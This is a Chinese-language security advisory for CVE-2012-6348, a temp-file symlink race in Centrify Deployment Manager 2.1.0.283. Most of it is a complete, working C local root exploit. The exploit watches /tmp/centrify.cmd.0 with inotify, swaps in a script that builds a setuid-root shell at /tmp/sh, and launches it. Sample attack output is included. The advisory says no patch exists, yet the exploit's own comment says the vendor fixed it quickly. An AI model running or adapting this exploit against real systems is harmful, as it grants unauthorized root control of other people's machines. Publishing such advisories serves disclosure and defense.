发布日期：2013-01-03
更新日期：2013-01-07
受影响系统：
Centrinity Deployment Manager 2.1.0.283
描述：
--------------------------------------------------------------------------------
CVE(CAN) ID: CVE-2012-6348
Centrify DirectManage Components是UNIX/Linux系统上的系统部署工具。
Centrify Suite 2012.5之前版本内的Centrify Deployment Manager 2.1.0.283在实现上存在安全漏洞，可允许本地用户通过对adcheckDMoutput临时文件的符号链接攻击覆盖任意文件，并通过对centrify.cmd.0临时文件上的符号链接攻击覆盖任意文件，然后提升权限。
<*来源：inotify & syscall technique
Larry W. Cashdollar （lwc@vapid.dhs.org）
链接：?vulnId=CVE-2012-6348
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root,
Centrify released a fix very quickly - nice vendor response.
CVE-2012-6348 12/17/2012
Greetings vladz, Thanks for the inotify & syscall technique.
This exploit based on
Run the exploit and wait for administrator to analyse or deploysoftware
to the system.
larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0
[*] Launching attack against "centrify.cmd.0"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/bin/touch /tmp/centrify.cmd.0)
[+] Initialize inotify
[+] Waiting for root to launch "centrify.cmd.0"
[+] Opening root shell (/tmp/sh)
#
Larry W. Cashdollar
@_larry0
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>
/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
char *s = "#!/bin/bash\n"
"echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
"cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
"chmod 4755 /tmp/sh;\n";
int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
write(fd, s, strlen(s));
close(fd);
return 0;
}
int main(int argc, char **argv) {
int fd, wd;
char buf[1], *targetpath, *cmd,
*evilsh = "/tmp/evil", *trash = "/tmp/trash";
if (argc < 2) {
printf("Usage: %s <target file> \n", argv[0]);
return 1;
}
printf("[*] Launching attack against \"%s\"\n", argv[1]);
printf("[+] Creating evil script (/tmp/evil)\n");
create_nasty_shell(evilsh);
targetpath = malloc(sizeof(argv[1]) + 6);
cmd = malloc(sizeof(char) * 32);
sprintf(targetpath, "/tmp/%s", argv[1]);
sprintf(cmd,"/bin/touch %s",targetpath);
printf("[+] Creating target file (%s)\n",cmd);
system(cmd);
printf("[+] Initialize inotify\n");
fd = inotify_init();
wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);
printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]);
syscall(SYS_read, fd, buf, 1);
syscall(SYS_rename, targetpath, trash);
syscall(SYS_rename, evilsh, targetpath);
inotify_rm_watch(fd, wd);
printf("[+] Opening root shell (/tmp/sh)\n");
sleep(2);
system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
return 0;
}
建议：
--------------------------------------------------------------------------------
厂商补丁：
Centrinity
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：